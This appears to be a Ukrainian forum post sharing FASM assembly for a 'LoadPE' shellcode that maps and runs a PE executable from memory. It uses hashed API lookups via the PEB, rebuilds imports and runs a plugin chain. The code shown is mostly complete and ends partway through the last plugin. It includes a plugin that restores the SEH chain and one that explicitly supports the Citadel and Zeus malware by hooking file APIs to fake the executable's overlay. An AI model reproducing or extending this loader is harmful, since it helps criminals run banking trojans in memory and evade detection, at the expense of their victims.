Тема: [FASM x86] LoadPE шеллкод з системою розширень
Щей шеллкод призначений для старту виконуваного файлу з пам’яті процесу. підтримує TLS, не потребує релоків
Для його виконання потрібно створити наступну структуру даних:
+========================+
| _LOADPE структура |
+========================+-----+
| LOADPE шеллкод | |
+========================+ |
|плагіни (необов’язково) | } ланцюжок LoadPE
+========================+ |
| кінцева мітка | |
+========================+-----+
|Завантажуваний PE файл |
+========================+
Параметри передаються в шеллкод за допомогою патчингу. Структуру _LOADPE заповнює сам шеллкод.
Заголовковий файл loadpe.inc
macro szHash name, res {
local ..size, ..result, ..char, ..temp
..temp = 0
..result = 0
virtual at 0
db name, 0x0
..size = $
repeat ..size
load ..char byte from % - 1
..temp = (..temp shr 7) or (..temp shl 25)
..result = ..result xor ..temp
..temp = (..temp and 0xffffff00) or ..char
end repeat
end virtual
res = ..result and 0xffffffff
}
struct _3B1P_PLUGIN_HEADER
signature db '3B1P'
wSize dw ?
pReturn dd ?
pLoadPEData dd ?
pEntryPoint dw ?
dwPluginID dd ?
ends
struct _LOADPE_DATA
pCompareHash dd ?
pCompareString dd ?
pAltGetProcAddress dd ?
pGetFileHeader dd ?
pLoadLibraryA dd ?
pGetModuleHandleA dd ?
pVirtualProtect dd ?
pOriginalFile dd ?
hKernel32 dd ?
hNtdll dd ?
dwOriginalFileSize dd ?
dwImageBase dd ?
dwShellcodeLen dd ?
dwDeepOfStack dd ?
dwReserved1 dd ?
dwReserved2 dd ?
ends
struct _LOADPE
pluginData db 0x1000 dup (?)
pluginsQueue db 0x200 dup (?)
loadpeData _LOADPE_DATA
ends
macro __3BIP_PLUGIN_HEADER__ entryPoint, szPluginName {
szHash szPluginName, hashPluginName
_PLUGIN_HEADER_:
_PLUGIN_BEGIN_ = _PLUGIN_HEADER_
.signature db '3B1P'
.wSize dw _PLUGIN_END_-_PLUGIN_BEGIN_
.pReturn dd ?
.pLoadPEData dd ?
.pEntryPoint dw entryPoint-_PLUGIN_BEGIN_
.dwPluginID dd hashPluginName
}
macro __3BIP_PLUGIN_TAIL__ name {
_PLUGIN_END_:
db name, 0x0
}
Головний файл шеллкоду loadpe.asm
use32
format binary
include '%FASMINC%\win32a.inc'
include 'pe.inc'
include 'loadpe.inc'
szHash 'KERNEL32', hashKERNEL32
szHash 'NTDLL', hashNTDLL
szHash 'LoadLibraryA', hashLoadLibraryA
szHash 'VirtualProtect', hashVirtualProtect
szHash 'GetModuleHandleA', hashGetModuleHandleA
szHash 'VirtualFree', hashVirtualFree
__LOADPE_BEGIN__:
__LOADPE_PLUGINS_RETURN__ = loadPE_main.__LOADPE_PLUGINS_RETURN__
start:
jmp loadPE_main
dwOriginalFileSize dd 0xBEA51F3D ;
dwImageBase dd 0x0
dwShellcodeLen dd 0x0
dwDeepOfStack dd 0x0
pOriginalTLSIndex dd 0x0
proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD, SectionAlignment:DWord
pusha
cld
mov edx, [pSectionHeader]
mov ecx, [edx+IMAGE_SECTION_HEADER.VirtualSize]
mov edi, [image_base]
add edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
mov esi, [SectionAlignment]
add ecx, esi
mov eax, ecx
xor edx, edx
div esi
sub ecx, edx
xor eax, eax
rep stosb
mov edx, [pSectionHeader]
mov esi, [pFileImageBase]
add esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]
mov ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]
mov edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
add edi, [image_base]
rep movsb
.exit:
popa
ret
endp
proc GetHashSz strz
push ecx
push ebx
push DWord [strz]
pop ecx
xor ebx, ebx
push ebx
.CalcHash:
ror ebx, 7
xor [esp], ebx
mov bl, Byte [ecx]
inc ecx
cmp bl, 0x0
jnz .CalcHash
pop eax
pop ebx
pop ecx
ret
endp
proc loadImportDirectoryTable pAPITable:DWORD, image_base:DWORD, directory_entry:DWORD
local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD
pushad
mov eax, [directory_entry]
mov eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]
add eax, [image_base]
;load the corresponding dll
mov ebx, [pAPITable]
stdcall DWord [ebx+_LOADPE_DATA.pLoadLibraryA], eax
test eax,eax
jz .exit_error
mov [.dll_image_base],eax
mov edx, [directory_entry]
mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
add eax, [image_base]
mov [.import_address_table],eax
mov [.lookup_table],eax
mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
test eax, eax
jz .OFTIsNull
add eax, [image_base]
mov [.lookup_table], eax
.OFTIsNull:
xor ecx, ecx
.next_lookup_entry:
mov eax, DWord [.lookup_table]
add eax, ecx
mov eax, DWord [eax]
test eax, eax
jz .exit_success
test eax, IMAGE_ORDINAL_FLAG32
jnz .byordinal
.byname:
add eax, [image_base]
lea eax, [eax+IMAGE_IMPORT_BY_NAME.Name_]
push ecx
stdcall AltGetProcAddress, [pAPITable], [.dll_image_base], [ebx+_LOADPE_DATA.pCompareString], eax
pop ecx
test eax, eax
jz .exit_error
mov edx, [.import_address_table]
mov [edx+ecx], eax
add ecx, 4
jmp .next_lookup_entry
.byordinal:
and eax, 0x7FFFFFFF
push ecx
stdcall AltGetProcAddress, [pAPITable], [.dll_image_base], 0x0, eax
pop ecx
mov edx, [.import_address_table]
mov [edx+ecx], eax
add ecx, 4
jmp .next_lookup_entry
.exit_success:
popa
xor eax,eax
inc eax
ret
.exit_error:
popad
xor eax, eax
ret
endp
proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD
local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD
pusha
xor eax, eax
mov [.retval], eax
mov edx, [pImageFileHeader]
movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
mov [.number_of_sections], eax
add edx, sizeof.IMAGE_FILE_HEADER
mov eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]
mov [.image_base], eax
lea ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]
mov eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
mov edx, sizeof.IMAGE_DATA_DIRECTORY
mul edx
add eax, ebx
mov [.section_headers], eax
mov eax, sizeof.IMAGE_SECTION_HEADER
mov edx, [.number_of_sections]
mul edx
add eax, [.section_headers]
mov ebx, [pFileImageBase]
sub eax, ebx
mov [.pe_header_size], eax
mov ebx, [APITable]
lea eax, [.vprotect_ret]
stdcall DWord [ebx+_LOADPE_DATA.pVirtualProtect], [.image_base], [.pe_header_size], PAGE_READONLY, eax
test eax, eax
jz .exit
mov ecx, [.number_of_sections]
mov ebx, [.section_headers]
.load_section_loop:
stdcall setSection, [APITable], ebx
test eax, eax
jz .exit
add ebx, sizeof.IMAGE_SECTION_HEADER
loop .load_section_loop
inc [.retval]
.exit:
popa
mov eax, [.retval]
ret
endp
proc HashCompare szName, dwVal
local iResult:DWORD
pusha
xor esi, esi
mov DWord [iResult], esi
stdcall GetHashSz, [szName]
cmp DWord [dwVal], eax
jz .FoundProcname
not DWord [iResult]
.FoundProcname:
popa
push DWord [iResult]
pop eax
ret
endp
proc loadImportTable pAPITable, image_base
local .import_table:DWORD
local iResult:DWORD
local .null_directory_entry[0x14]:BYTE
pusha
push DWord [image_base]
pop edi
push DWord [edi + IMAGE_DOS_HEADER.e_lfanew]
pop edx
lea edx, [edx+edi + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY]
mov edx, DWord [edx+IMAGE_DATA_DIRECTORY.VirtualAddress]
cmp edx, 0
jz .exit
add edx, edi
push edx
pop DWord [.import_table]
xor eax, eax
mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
lea edi, [.null_directory_entry]
rep stosb
push DWord [.import_table]
pop ebx
.next_directory_entry:
lea esi, [.null_directory_entry]
push ebx
pop edi
mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
rep cmpsb
je .exit
stdcall loadImportDirectoryTable, [pAPITable], [image_base], ebx
add ebx, 0x14
jmp .next_directory_entry
.exit:
popa
ret
endp
; stdcall setSection, [APITable], ebx
proc setSection pAPITable, pSectionHeader
local .vprotect_ret:DWORD
local .retval:DWORD
local .section_flags:DWORD
pusha
mov DWord [.retval], DWORD 0x0
push DWord [pSectionHeader]
pop ecx
;section execute/read/write?
mov ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
and ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
cmp ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
jne .no_execute_read_write
mov DWord [.section_flags], PAGE_EXECUTE_READWRITE
jmp .set_memory
.no_execute_read_write:
mov ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
and ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
cmp ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
jne .no_execute_read
mov DWord [.section_flags], PAGE_EXECUTE_READ
jmp .set_memory
.no_execute_read:
mov ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
and ebx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
cmp ebx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
jne .no_read_write
mov DWord [.section_flags], PAGE_READWRITE
jmp .set_memory
.no_read_write:
mov edi, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
and edi, IMAGE_SCN_MEM_READ
cmp edi, IMAGE_SCN_MEM_READ
jne .no_read
mov DWord [.section_flags], PAGE_READONLY
jmp .set_memory
.no_read:
mov DWord [.section_flags], PAGE_NOACCESS
.set_memory:
mov eax, DWord [pSectionHeader]
mov edi, DWord [eax + IMAGE_SECTION_HEADER.VirtualAddress]
mov esi, DWord [pAPITable]
add edi, DWord [esi+_LOADPE_DATA.dwImageBase]
lea edx, [.vprotect_ret]
mov ecx, [eax + IMAGE_SECTION_HEADER.VirtualSize]
stdcall DWord [esi + _LOADPE_DATA.pVirtualProtect], edi, ecx, [.section_flags], edx
popa
xor eax, eax
inc eax
ret
endp
proc strToUpcase szString
pusha
mov eax, [szString]
xor ebx, ebx
.up:
movzx edx, Byte [eax]
test edx, edx
jz .down
cmp edx, 0x61
jb .nextChar
cmp edx, 0x7A
ja .nextChar
sub edx, 0x20
mov Byte [eax], dl
.nextChar:
inc eax
jmp short .up
.down:
popa
ret
endp
proc AltGetProcAddress pAPITable, hLib, fCompareProc, dwVal
local dwOrdinal:DWORD
local iResult:DWORD
local pExportDirectory:DWORD
local pExportDirectoryBound:DWORD
local szFncName[0x20]:BYTE
local szLibName[0x20]:BYTE
pusha
push 0x0
pop DWord [iResult]
mov ecx, DWord [hLib]
cmp Word [ecx], WORD 0x5a4d
jne .End
movzx esi, Word [ecx+0x3c]
add esi, ecx
cmp DWord [esi], DWORD 0x4550 ;check <'PE',0,0>
jne .End
mov edx, DWord [esi+0x78]
add edx, ecx
mov DWord [pExportDirectory], edx
mov eax, edx
add eax, DWord [esi+0x7C]
mov DWord [pExportDirectoryBound], eax
mov ebx, DWord [edx+0x18]
xor esi, esi
mov eax, DWord [edx+0x20]
add eax, ecx
cmp DWord [fCompareProc], 0x0
jnz .MainLoop
mov esi, DWord [dwVal]
sub esi, [edx+0x10]
mov DWord [dwOrdinal], esi
jmp short .FoundOrdinal
.MainLoop:
push DWord [eax]
pop edi
lea edi, [ecx+edi]
push eax
stdcall [fCompareProc], edi, [dwVal]
test eax, eax
pop eax
jz .FoundProcname
add eax, 0x4
dec ebx
inc esi
or ebx, ebx
jnz .MainLoop
jmp .End
.FoundProcname:
mov ebx, DWord [pExportDirectory]
shl esi, 1
add esi, DWord [ebx+0x24]
movzx esi, Word [esi+ecx]
mov DWord [dwOrdinal], esi
.FoundOrdinal:
mov ebx, DWord [pExportDirectory]
mov esi, DWord [dwOrdinal]
shl esi, 2
add esi, ecx
add esi, DWord [ebx+0x1C]
mov edi, DWord [esi]
add edi, ecx
mov DWord [iResult], edi
cmp edi, DWord [pExportDirectory]
jb .End
cmp edi, DWord [pExportDirectoryBound]
jae .End
lea esi, [szLibName]
.UpLibName:
movzx eax, Byte [edi]
cmp eax, '.'
jz .EndLibName
mov Byte [esi], al
inc esi
inc edi
jmp short .UpLibName
.EndLibName:
mov Byte [esi], 0x0
lea eax, [szLibName]
stdcall strToUpcase, eax
lea eax, [szLibName]
stdcall GetHashSz, eax
mov ebx, [pAPITable]
cmp eax, hashKERNEL32
jz .getKernel32
cmp eax, hashNTDLL
jnz .callGetModuleHandle
.getNtdll:
mov eax, DWord [ebx + _LOADPE_DATA.hNtdll]
jmp short .searchFncName
.getKernel32:
mov eax, DWord [ebx + _LOADPE_DATA.hKernel32]
jmp short .searchFncName
.callGetModuleHandle:
mov DWord [esi], 0x4C4C442E
mov Byte [esi+0x4], 0x0
lea eax, [szLibName]
stdcall DWord [ebx + _LOADPE_DATA.pGetModuleHandleA], eax
cmp eax, 0
jnz .searchFncName
lea eax, [szLibName]
stdcall DWord [ebx + _LOADPE_DATA.pLoadLibraryA], eax
.searchFncName:
mov DWord [hLib], eax
lea esi, [szFncName]
inc edi
.UpFncName:
movzx eax, Byte [edi]
test eax, eax
jz .EndFncName
mov Byte [esi], al
inc esi
inc edi
jmp short .UpFncName
.EndFncName:
mov Byte [esi], 0x0
lea esi, [szFncName]
cmp Byte [esi], 0x23
jz .forwardingByOrdinal
stdcall AltGetProcAddress, ebx, [hLib], [ebx + _LOADPE_DATA.pCompareString], esi
jmp .foundAddr
.forwardingByOrdinal:
inc esi
stdcall strtonum, esi
stdcall AltGetProcAddress, ebx, [hLib], 0x0, eax
.foundAddr:
mov DWord [iResult], eax
.End:
popa
mov eax, DWord [iResult]
ret
endp
proc verifyPE pImagePE
local iResult:DWORD
pusha
xor edx, edx
mov edi, [pImagePE]
movzx ecx, Word [edi]
cmp ecx, 0x5a4d
jnz .Exit
mov eax, DWord [edi+IMAGE_DOS_HEADER.e_lfanew]
add edi, eax
cmp DWord [edi], 0x4550
jne .Exit
add edi, 0x4
xchg edi, edx
.Exit:
mov DWord [esp+0x1C], edx
popa
ret
endp
proc loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD
local .retval:DWORD
local .iSectNum:DWORD
local .pImageOptionalHeader:DWORD
local .dwOldProtect:DWORD
local .pSectionHeaders:DWORD
local .iPEHeaderSize:DWORD
local .SizeOfImage:DWORD
local .SectionAlignment:DWORD
pusha
xor eax, eax
mov [.retval], eax
mov ebx, [pAPITable]
mov edx, [pImageFileHeader]
movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
mov [.iSectNum], eax
lea eax, [edx+sizeof.IMAGE_FILE_HEADER]
mov [.pImageOptionalHeader], eax
push DWord [eax + IMAGE_OPTIONAL_HEADER32.SectionAlignment]
pop DWord [.SectionAlignment]
mov eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage]
mov [.SizeOfImage], eax
lea eax, [.dwOldProtect]
stdcall DWord [ebx+_LOADPE_DATA.pVirtualProtect], DWord [ebx+_LOADPE_DATA.dwImageBase], [.SizeOfImage], PAGE_READWRITE, eax
test eax, eax
jz .Exit
cld
xor eax, eax
mov edi, DWord [ebx+_LOADPE_DATA.dwImageBase]
mov ecx, [.SizeOfImage]
cld
rep stosb
mov edx, [.pImageOptionalHeader]
mov eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
lea ecx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]
mov edx, sizeof.IMAGE_DATA_DIRECTORY
mul edx
add eax, ecx
mov [.pSectionHeaders], eax
mov eax, sizeof.IMAGE_SECTION_HEADER
mov edx, [.iSectNum]
mul edx
mov ecx, [pFileImageBase]
add eax, [.pSectionHeaders]
sub eax, ecx
mov [.iPEHeaderSize], eax
mov edi, DWord [ebx+_LOADPE_DATA.dwImageBase]
mov ecx, [.iPEHeaderSize]
mov esi, [pFileImageBase]
rep movsb
mov ecx, [.iSectNum]
mov esi, [.pSectionHeaders]
.load_section_loop:
stdcall loadSection, esi, DWord [ebx+_LOADPE_DATA.dwImageBase], [pFileImageBase], [.SectionAlignment]
test eax, eax
jz .Exit
add esi, sizeof.IMAGE_SECTION_HEADER
dec ecx
jnz .load_section_loop
inc [.retval]
.Exit:
popa
mov eax, [.retval]
ret
endp
proc StringCompare szName, dwVal
local iResult:DWORD
pusha
xor edi, edi
mov DWord [iResult], edi
push DWord [szName]
pop edx
push DWord [dwVal]
pop ecx
.mainLoop:
xor ebx, ebx
mov bl, Byte [edx]
movzx eax, Byte [ecx]
cmp ebx, eax
jnz .Err
test ebx, ebx
jz .FoundProcname
inc ecx
inc edx
jmp .mainLoop
.Err:
not DWord [iResult]
.FoundProcname:
popa
mov eax, DWord [iResult]
ret
endp
proc loadPE_main
local pMyAddr:DWORD
local pFileHeader:DWORD
local pPEImage:DWORD
local iResult:DWORD
local pOldTLSIndex:DWORD
local dwTLSIndexValue:DWORD
local pImageBase:DWORD
pusha
call .delta
.delta:
pop edi
sub edi, .delta - __LOADPE_BEGIN__
mov DWord [pMyAddr], edi
mov eax, edi
add eax, DWord [edi+dwShellcodeLen-__LOADPE_BEGIN__]
mov [pPEImage], eax
lea ebx, [edi-sizeof._LOADPE_DATA]
push DWord [edi+dwOriginalFileSize-__LOADPE_BEGIN__]
pop DWord [ebx+_LOADPE_DATA.dwOriginalFileSize]
push DWord [edi+dwImageBase-__LOADPE_BEGIN__]
pop DWord [ebx+_LOADPE_DATA.dwImageBase]
push DWord [edi+dwShellcodeLen-__LOADPE_BEGIN__]
pop DWord [ebx+_LOADPE_DATA.dwShellcodeLen-__LOADPE_BEGIN__]
push DWord [edi+dwDeepOfStack-__LOADPE_BEGIN__]
pop DWord [ebx+_LOADPE_DATA.dwDeepOfStack-__LOADPE_BEGIN__]
push DWord [edi+pOriginalTLSIndex-__LOADPE_BEGIN__]
pop DWord [pOldTLSIndex]
mov eax, DWord [fs:0x30]
mov eax, DWord [eax+0xC]
mov eax, DWord [eax+0x1C]
push DWord [eax+0x8]
pop DWord [ebx+_LOADPE_DATA.hNtdll]
push DWord [pPEImage]
pop DWord [ebx+_LOADPE_DATA.pOriginalFile]
lea eax, [edi+StringCompare-__LOADPE_BEGIN__]
mov DWord [ebx+_LOADPE_DATA.pCompareString], eax
lea eax, [edi+HashCompare-__LOADPE_BEGIN__]
mov DWord [ebx+_LOADPE_DATA.pCompareHash], eax
lea eax, [edi+verifyPE-__LOADPE_BEGIN__]
mov DWord [ebx+_LOADPE_DATA.pGetFileHeader], eax
call GetK32
mov DWord [ebx+_LOADPE_DATA.hKernel32], eax
lea eax, [edi+AltGetProcAddress-__LOADPE_BEGIN__]
mov DWord [ebx+_LOADPE_DATA.pAltGetProcAddress], eax
stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashLoadLibraryA
mov DWord [ebx+_LOADPE_DATA.pLoadLibraryA], eax
stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashVirtualProtect
mov DWord [ebx+_LOADPE_DATA.pVirtualProtect], eax
stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashGetModuleHandleA
mov DWord [ebx+_LOADPE_DATA.pGetModuleHandleA], eax
lea eax, [iResult]
stdcall verifyPE, [pPEImage]
test eax, eax
jz .End
push eax
pop DWord [pFileHeader]
stdcall loadFile, ebx, [pFileHeader], [pPEImage]
test eax, eax
jz .End
stdcall loadImportTable, ebx, [ebx+_LOADPE_DATA.dwImageBase]
stdcall setPermissions, ebx, [pFileHeader], [pPEImage]
mov eax, edi
add eax, __LOADPE_END__-__LOADPE_BEGIN__
mov ecx, edi
sub ecx, sizeof._LOADPE - _LOADPE.pluginsQueue
mov esi, [pFileHeader]
mov esi, [esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint]
add esi, [ebx+_LOADPE_DATA.dwImageBase]
stdcall FillPluginQueue, eax, ecx, ebx, esi
pusha
jmp ecx
.__LOADPE_PLUGINS_RETURN__:
.End:
popa
mov eax, DWord [iResult]
ret
endp
proc GetK32
local iResult:DWORD
pusha
mov eax, DWord [fs:0x30]
mov eax, DWord [eax+0xC]
mov eax, DWord [eax+0x1C]
.NextModule:
push DWord [eax+0x8]
pop DWord [iResult]
push DWord [eax+0x20]
pop ebx
mov eax, DWord [eax]
movzx ecx, Byte [ebx+0x18]
cmp ecx, 0x0
jne .NextModule
movzx ecx, Byte [ebx]
cmp ecx, 0x6b
je .Found_K32
cmp ecx, 0x4b
jne .NextModule
.Found_K32:
popa
push DWord [iResult]
pop eax
ret
endp
proc strtonum strz
pusha
mov edi, [strz]
stdcall strlen, edi
test eax, eax
jz .err
xchg ecx, eax
lea esi, [edi+ecx-0x1]
xor edi, edi
mov ebx, edi
.up:
push ebx
test ebx, ebx
jz .isZero
mov eax, 0xA
jmp .loopUp
.isZero:
xor eax, eax
inc eax
jmp short .endPower
.loopUp:
dec ebx
jz short .endPower
mov edx, 0xA
mul edx
jmp short .loopUp
.endPower:
pop ebx
movzx edx, Byte [esi]
cmp edx, 0x30
jb .err
cmp edx, 0x39
ja .err
sub edx, 0x30
mul edx
add edi, eax
inc ebx
dec esi
dec ecx
jnz .up
xchg eax, edi
clc
jmp .exit
.err:
xor eax, eax
stc
.exit:
mov DWord [esp+0x1C], edi
popa
ret
endp
proc strlen s
pusha
cld
mov esi, [s]
xor eax, eax
mov ecx, eax
.up:
lodsb
test eax, eax
je short .down
inc ecx
jmp short .up
.down:
mov [esp+0x1C], ecx
popa
ret
endp
proc LoadTLSIndex pImageBase, pOldTLSIndex, pDwTLSIndexValue
pusha
mov ebx, [pOldTLSIndex]
cmp ebx, 0h
jz .e
stdcall verifyPE, [pImageBase]
add eax, sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY*0x9
mov eax, DWord [eax]
add eax, [pImageBase]
mov eax, DWord [eax+0x8]
mov eax, DWord [eax]
mov edx, [pDwTLSIndexValue]
mov DWord [edx], eax
.e:
popa
ret
endp
proc FillPluginQueue pFirstChain, pPluginQueueCmds, pLoadPEData, pReturn
mov edi, [pPluginQueueCmds]
mov esi, [pFirstChain]
mov edx, DWord [pLoadPEData]
.up:
cmp DWord [esi], 0x4B504134
jnz .checkPlugin
cmp Word [esi+0x4], 0x41
jz .end
.checkPlugin:
cmp DWord [esi], 0x50314233
jnz .end
mov Byte [edi], 0xBE
mov DWord [edi+0x1], esi
mov Byte [edi+0x5], 0xBF
mov DWord [esi+_3B1P_PLUGIN_HEADER.pLoadPEData], edx
mov DWord [edi+0x6], edx
mov Byte [edi+0xA], 0xB8
movzx ecx, Word [esi+_3B1P_PLUGIN_HEADER.pEntryPoint]
mov eax, ecx
add eax, esi
mov DWord [edi+0xB], eax
mov Word [edi+0xF], 0xE0FF
add edi, 0x11
mov DWord [esi+_3B1P_PLUGIN_HEADER.pReturn], edi
movzx ecx, Word [esi+_3B1P_PLUGIN_HEADER.wSize]
add esi, ecx
jmp .up
.end:
mov Byte [edi], 0x68
push [pReturn]
pop DWord [edi+0x1]
mov Byte [edi+0x5], 0xC3
jmp DWord [pPluginQueueCmds]
endp
__LOADPE_END__:
Плагін, який розкручує ланцюжок SEH з метою відновлення оригінального обробника виключень і повертає стек до початкового стану:
include '%FASMINC%\Win32a.inc'
include 'loadpe.inc'
szHash 'UnhandledExceptionFilter', hashUnhandledExceptionFilter
org 0x0
use32
__3BIP_PLUGIN_HEADER__ start, 'RESTORESEH'
pUnhandledExceptionFilter dd 0
start:
stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashUnhandledExceptionFilter
xor edx, edx
dec edx
mov eax, DWord [fs:0]
.unchain:
cmp DWord [eax], edx
jz .down
mov eax, DWord [eax]
jmp short .unchain
.down:
mov DWord [fs:0], eax
add esp, DWord [edi+_LOADPE_DATA.dwDeepOfStack]
jmp DWord [esi+_3B1P_PLUGIN_HEADER.pReturn]
__3BIP_PLUGIN_TAIL__ 'RESTORESEH'
Плагін емуляції EOF (оверлея) PE файла для зловмисного ПЗ Сitadel і Zeus.
include '%FASMINC%\Win32a.inc'
include 'loadpe.inc'
include 'pe.inc'
szHash 'ReadFile', hashReadFile
szHash 'CreateFileW', hashCreateFileW
szHash 'GetFileSizeEx', hashGetFileSizeEx
szHash 'lstrcmpiW', hashlstrcmpiW
szHash 'SetLastError', hashSetLastError
org 0x0
use32
__3BIP_PLUGIN_HEADER__ start, 'CITADEL'
proc ReadFile_Hook hFile, lpBufer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped
pusha
call .delta
.delta:
pop ebx
sub ebx, .delta-_PLUGIN_BEGIN_
cmp DWord [ebx+hFileExec], 0x0
jz .readOriginal
mov eax, DWord [ebx+hFileExec]
cmp eax, [hFile]
jnz .readOriginal
mov edi, DWord [lpBufer]
mov esi, DWord [ebx+_3B1P_PLUGIN_HEADER.pLoadPEData]
mov ecx, [nNumberOfBytesToRead]
mov esi, [esi+_LOADPE_DATA.pOriginalFile]
cld
rep movsb
mov eax, [lpNumberOfBytesRead]
mov edx, [nNumberOfBytesToRead]
mov DWord [eax], edx
mov eax, [ebx+_ReadFile]
mov edx, [ebx+pIAT_ReadFile]
mov DWord [edx], eax
stdcall DWord [ebx+_SetLastError], 0x0
xor eax, eax
inc eax
jmp short .end
.readOriginal:
stdcall DWord [esi+_ReadFile], [hFile], [lpBufer], [nNumberOfBytesToRead], [lpNumberOfBytesRead], [lpOverlapped]
.end:
mov DWord [esp+0x1C], eax
popa
ret
endp
proc CreateFileW_Hook lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile
pusha
call .delta
.delta:
pop esi
sub esi, .delta-_PLUGIN_BEGIN_
stdcall DWord [esi+_CreateFileW], [lpFileName], [dwDesiredAccess], [dwShareMode], [lpSecurityAttributes], [dwCreationDisposition], [dwFlagsAndAttributes], [hTemplateFile]
mov DWord [esp+0x1C], eax
stdcall DWord [esi+_lstrcmpiW], [lpFileName], [esi+pExecutableFileName]
test eax, eax
jnz .end
push DWord [esp+0x1C]
pop DWord [esi+hFileExec]
mov eax, [esi+_CreateFileW]
mov edx, [esi+pIAT_CreateFileW]
mov DWord [edx], eax
.end:
popa
ret
endp
proc GetFileSizeEx_Hook hFile, lpFileSize
pusha
call .delta
.delta:
pop ebx
sub ebx, .delta-_PLUGIN_BEGIN_
mov eax, DWord [ebx+hFileExec]
test eax, eax
jz .readOriginal
cmp eax, [hFile]
jnz .readOriginal
xor edi, edi
mov eax, [ebx+_GetFileSizeEx]
mov edx, [ebx+pIAT_GetFileSizeEx]
mov DWord [edx], eax
mov edx, [lpFileSize]
mov eax, DWord [ebx+_3B1P_PLUGIN_HEADER.pLoadPEData]
mov eax, [eax+_LOADPE_DATA.dwOriginalFileSize]
mov DWord [edx], eax
mov DWord [edx+0x4], edi
stdcall DWord [ebx+_SetLastError], 0
inc edi
xchg edi, eax
jmp short .end
.readOriginal:
stdcall DWord [ebx+_GetFileSizeEx], [hFile], [lpFileSize]
.end:
mov DWord [esp+0x1C], eax
popa
ret
endp
proc searchDWordValue pMem, dwSize, dwValue
pusha
mov esi, [pMem]
mov eax, [dwValue]
mov ecx, [dwSize]
.up:
test ecx, ecx
jz .error
cmp DWord [esi], eax
jz .found
sub ecx, 0x4
add esi, 0x4
jmp short .up
.found:
clc
jmp short .end
.error:
xor esi, esi
stc
.end:
mov DWord [esp+0x1C], esi
popa
ret
endp
pExecutableFileName dd 0x0
hFileExec dd 0x0
dwOldProtect dd 0x0
_ReadFile dd 0x0
_CreateFileW dd 0x0
_lstrcmpiW dd 0x0
_SetLastError dd 0x0
_GetFileSizeEx dd 0x0
;IAT addresses
pIAT dd 0x0
dwIATsize dd 0x0
pIAT_CreateFileW dd 0x0
pIAT_ReadFile dd 0x0
pIAT_GetFileSizeEx dd 0x0
start:
xor ebx, ebx
mov eax, DWord [fs:ebx+0x30]
mov eax, DWord [eax+0xC]
mov eax, DWord [eax+0xC]
mov eax, [eax+0x28]
mov DWord [esi+pExecutableFileName], eax
; mov eax, DWord [edi+_LOADPE_DATA.pPEFileHeader]
stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashReadFile
mov DWord [esi+_ReadFile], eax
stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashCreateFileW
mov DWord [esi+_CreateFileW], eax
stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashlstrcmpiW
mov DWord [esi+_lstrcmpiW], eax
